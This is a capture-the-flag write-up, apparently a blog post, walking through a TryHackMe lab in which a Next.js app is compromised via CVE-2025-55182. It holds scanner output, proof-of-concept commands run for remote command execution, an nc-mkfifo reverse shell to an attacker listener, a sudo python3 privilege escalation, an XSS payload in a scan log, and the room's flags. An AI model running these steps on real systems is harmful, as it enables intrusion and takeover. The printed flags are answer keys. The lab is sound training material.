Press enter or click to view image in full size
This is a medium rated room
My Dearest Hacker,
Valentine’s Day is fast approaching, and “Romance & Co” are gearing up for their busiest season.
Behind the scenes, however, things are going wrong. Security alerts suggest that “Romance & Co” has already been compromised. Logs are incomplete, developers defensive and Shareholders want answers now!
As a security analyst, your mission is to retrace the attacker’s, uncover how the attackers exploited the vulnerabilities found on the “Romance & Co” web application and determine exactly how the breach occurred.
You can find the web application here:
http://10.81.164.108:3000With love,
Chief Inspector Valentine 💕
We always start off with enumerating the ports despite being told this is a web challenge since although it’s common for web servers to run on port 80 or 443 we can find them running on non-common ports such as the one we see today. Not to mention we could also find other services running on the machine that could give us a way inside as well.
# nmap -A 10.81.164.108
Starting Nmap 7.80 ( <https://nmap.org> ) at 2026-02-18 13:03 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.81.164.108
Host is up (0.00032s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
| fingerprint-strings:
| DNSVersionBindReqTCP, Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 200 OK
| Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 300
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000
| ETag: "pjux6x9npj1xgt"
| Content-Type: text/html; charset=utf-8
| Content-Length: 90103
| Date: Wed, 18 Feb 2026 13:03:26 GMT
| Connection: close
| <!DOCTYPE html><!--3WpzTMYEK9QGOeqIBQxrR--><html lang="en" class="dark"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" href="/_next/static/media/797e433ab948586e-s.p.dbea232f.woff2" as="font" crossorigin="" type="font/woff2"/><link rel="preload" href="/_next/static/media/caa3a2e1cccd8315-s.p.853070df.woff2" as="font" crossorigin="" type="font/woff2"/><link rel="preload" href="<https://images.unsplash.com/photo->
| HTTPOptions, RTSPRequest:
| HTTP/1.1 405 Method Not Allowed
| vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
| Allow: GET
| Allow: HEAD
| Date: Wed, 18 Feb 2026 13:03:26 GMT
| Connection: close
|_ Method Not Allowed
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port3000-TCP:V=7.80%I=7%D=2/18%Time=6995B89F%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1C48,"HTTP/1\\.1\\x20200\\x20OK\\r\\nVary:\\x20rsc,\\x20next-router-s
SF:tate-tree,\\x20next-router-prefetch,\\x20next-router-segment-prefetch,\\x2
SF:0Accept-Encoding\\r\\nx-nextjs-cache:\\x20HIT\\r\\nx-nextjs-prerender:\\x201\\
SF:r\\nx-nextjs-prerender:\\x201\\r\\nx-nextjs-stale-time:\\x20300\\r\\nX-Powered
SF:-By:\\x20Next\\.js\\r\\nCache-Control:\\x20s-maxage=31536000\\r\\nETag:\\x20\\"p
SF:jux6x9npj1xgt\\"\\r\\nContent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nCont
SF:ent-Length:\\x2090103\\r\\nDate:\\x20Wed,\\x2018\\x20Feb\\x202026\\x2013:03:26\\
SF:x20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n<!DOCTYPE\\x20html><!--3WpzTMYEK9Q
SF:GOeqIBQxrR--><html\\x20lang=\\"en\\"\\x20class=\\"dark\\"><head><meta\\x20char
SF:Set=\\"utf-8\\"/><meta\\x20name=\\"viewport\\"\\x20content=\\"width=device-wid
SF:th,\\x20initial-scale=1\\"/><link\\x20rel=\\"preload\\"\\x20href=\\"/_next/sta
SF:tic/media/797e433ab948586e-s\\.p\\.dbea232f\\.woff2\\"\\x20as=\\"font\\"\\x20cr
SF:ossorigin=\\"\\"\\x20type=\\"font/woff2\\"/><link\\x20rel=\\"preload\\"\\x20href
SF:=\\"/_next/static/media/caa3a2e1cccd8315-s\\.p\\.853070df\\.woff2\\"\\x20as=\\
SF:"font\\"\\x20crossorigin=\\"\\"\\x20type=\\"font/woff2\\"/><link\\x20rel=\\"prel
SF:oad\\"\\x20href=\\"<https://images>\\.unsplash\\.com/photo-")%r(Help,2F,"HTTP/
SF:1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n")%r(NCP,2
SF:F,"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n")
SF:%r(HTTPOptions,DD,"HTTP/1\\.1\\x20405\\x20Method\\x20Not\\x20Allowed\\r\\nvary
SF::\\x20rsc,\\x20next-router-state-tree,\\x20next-router-prefetch,\\x20next-r
SF:outer-segment-prefetch\\r\\nAllow:\\x20GET\\r\\nAllow:\\x20HEAD\\r\\nDate:\\x20W
SF:ed,\\x2018\\x20Feb\\x202026\\x2013:03:26\\x20GMT\\r\\nConnection:\\x20close\\r\\n
SF:\\r\\nMethod\\x20Not\\x20Allowed")%r(RTSPRequest,DD,"HTTP/1\\.1\\x20405\\x20Me
SF:thod\\x20Not\\x20Allowed\\r\\nvary:\\x20rsc,\\x20next-router-state-tree,\\x20n
SF:ext-router-prefetch,\\x20next-router-segment-prefetch\\r\\nAllow:\\x20GET\\r
SF:\\nAllow:\\x20HEAD\\r\\nDate:\\x20Wed,\\x2018\\x20Feb\\x202026\\x2013:03:26\\x20G
SF:MT\\r\\nConnection:\\x20close\\r\\n\\r\\nMethod\\x20Not\\x20Allowed")%r(RPCCheck
SF:,2F,"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n
SF:")%r(DNSVersionBindReqTCP,2F,"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nCon
SF:nection:\\x20close\\r\\n\\r\\n");
No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/> ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/18%OT=22%CT=1%CU=38709%PV=Y%DS=1%DC=T%G=Y%TM=6995B8A
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:01%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7
OS:%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=F4
OS:B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2
OS:301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T
OS:4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%
OS:RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 0.39 ms 10.81.164.108
OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 25.51 seconds
Scanning for any hidden subdirectories doesn’t yield us anything this time around, but is always good to do a sanity check. Sometimes, hidden directories can hold credentials or point to other, less secure directories not meant for the general public.
# ffuf -u <http://10.81.164.108:3000/FUZZ> -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt /'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : <http://10.81.164.108:3000/FUZZ>
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
:: Progress: [20473/20473] :: Job [1/1] :: 665 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
Looking into the source code of the site, there isn’t anything that stands out for us other than this is a very heavy site and it takes a while to both load and move around in, while still having non-functioning links.
Shifting gears a bit, let’s take a look at which technologies the site is using to get a better view of possible attack paths.
Seems like the site is using JavaScript for the most part. There’s a tool we can use to scan for any vulnerabilities in JS. The tool is called Nuclei and you can download it here:
Now after installing it on our attacker machine we run it and see what we find.
# docker run --rm projectdiscovery/nuclei -u <http://10.81.164.108:3000/> __ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.7.0
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /root/nuclei-templates
[WRN] Found 7 templates with runtime error (use -validate flag for further examination)
[INF] Current nuclei version: v3.7.0 (latest)
[INF] Current nuclei-templates version: v10.3.9 (latest)
[WRN] Loading 2 unsigned templates for scan. Use with caution.
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 9810
[INF] Executing 9808 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2237 (Reduced 2113 Requests)
[INF] Using Interactsh Server: oast.live
[CVE-2025-55184] [http] [high] <http://10.81.164.108:3000/>
[CVE-2025-55182] [http] [critical] <http://10.81.164.108:3000/>
[INF] Skipped 10.81.164.108:3000 from target list as found unresponsive permanently: cause="no address found for host" chain="got err while executing http://[10.81.164.108:3000:9780]:3000/api/v1/user_assets/nfc"
[form-detection] [http] [info] <http://10.81.164.108:3000/>
[email-extractor] [http] [info] <http://10.81.164.108:3000/> ["[email protected]","[email protected]"]
[options-method] [http] [info] <http://10.81.164.108:3000/> ["GET","HEAD"]
[old-copyright] [http] [info] <http://10.81.164.108:3000/> ["\\u00a9 2024"]
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:strict-transport-security] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:content-security-policy] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:referrer-policy] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:clear-site-data] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:permissions-policy] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:x-frame-options] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:x-content-type-options] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] <http://10.81.164.108:3000/>
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] <http://10.81.164.108:3000/>
[tech-detect:next.js] [http] [info] <http://10.81.164.108:3000/>
[INF] Skipped 10.81.164.108:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=10.81.164.108:4040 chain="connection refused; got err while executing <https://10.81.164.108:4040/jobs/?\\"'><script>alert(document.domain)</script>">
[INF] Scan completed in 1m. 18 matches found.
We have a hit! After a bit of waiting for the scan to complete we see there’s a vulnerability with a highdesignation. This could be our way in so let’s research it.
[CVE-2025-55184] [http] [high] <http://10.81.164.108:3000/>After a quick Google search, we find that there is a PoC (Proof of Concept) of this vulnerability we can use to gain command injection on the machine. We’ll first need to install the dependencies required for the script to run properly.
Join Medium for free to get updates from this writer.
You can find the script on GitHub:
We first need to create a virtual environment that isolates our script from the rest of our Python installation. This is used as a best practice since you can never fully trust a script you’re running from the internet, and because this way we avoid breaking any of the dependencies in our machine. You can achieve this by entering the following:
python3 -m venv <name of the directory># python3 -> This is what we are using to run both the enviroment and our script
# -m -> Runs a module as a script
# <name of directory> -> The name you chose to store the enviroment
After running the command you’ll get:
exploit/
├── bin/ (Linux/macOS)
│ ├── activate
│ └── python
├── lib/
├── include/
└── pyvenv.cfgexploit/
├── Scripts/ (Windows)
│ ├── activate
│ └── python.exe
Now we have to activate our environment and install the required dependencies for the script to run
~/CVE-2025-55182# source exploit/bin/activate
(exploit) ~/CVE-2025-55182# pip install -r requirements.txt # pip install -> uses pip to install python packages
# -r -> flag to indicate that the packages are listed in the requirements.txt file
# requirements.txt -> file containing the necessary packages
If you need to exit the environment once you’re done just type the following:
deactivateFinally, we run out script:
(exploit) ➜ CVE-2025-55182 git:(main) python3 exploit.py -u <http://10.67.143.91:3000/> -c "id"Success
uid=100(daniel) gid=101(secgroup) groups=101(secgroup),101(secgroup)
Looks like it works! Ok then, let’s try getting the user flag first and then we move onto the reverse shell so we can get root.
(exploit) ➜ CVE-2025-55182 git:(main) python3 exploit.py -u <http://10.67.143.91:3000/> -c "cat /home/daniel/user.txt"Success
THM{R34c7_2_5h311_3xpl017}
That works, so then, let’s get to that reverse shell we mentioned earlier. But first, we need to know if we can run anything as the root user.
(exploit) ➜ CVE-2025-55182 git:(main) python3 exploit.py -u <http://10.67.143.91:3000/> -c "sudo -l" Success
Matching Defaults entries for daniel on romance:
secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin
Runas and Command-specific defaults for daniel:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User daniel may run the following commands on romance:
(root) NOPASSWD: /usr/bin/python3
Looks like we can run Python3 as root without a password, so we’ll just use that to get our root flag. And this is made simple thanks to the creator of the script, who kindly provided us with a reverse shell line that automates everything for us.
(exploit) ➜ CVE-2025-55182 git:(main) python3 exploit.py -u <http://10.67.143.91:3000> -r -l 192.168.160.216 -p 9000 -P nc-mkfifo
[*] Starting reverse shell listener on 192.168.160.216:9000
[*] Sending reverse shell payload...
Waiting for connection...
Reverse shell connection established from 10.67.143.91:40558!
sh: can't access tty; job control turned off
/app $ iduid=100(daniel) gid=101(secgroup) groups=101(secgroup),101(secgroup)
/app $ /app $ sudo python3 -c 'import os; os.system("cat /root/root.txt")'
THM{Pr1v_35c_47_175_f1n357}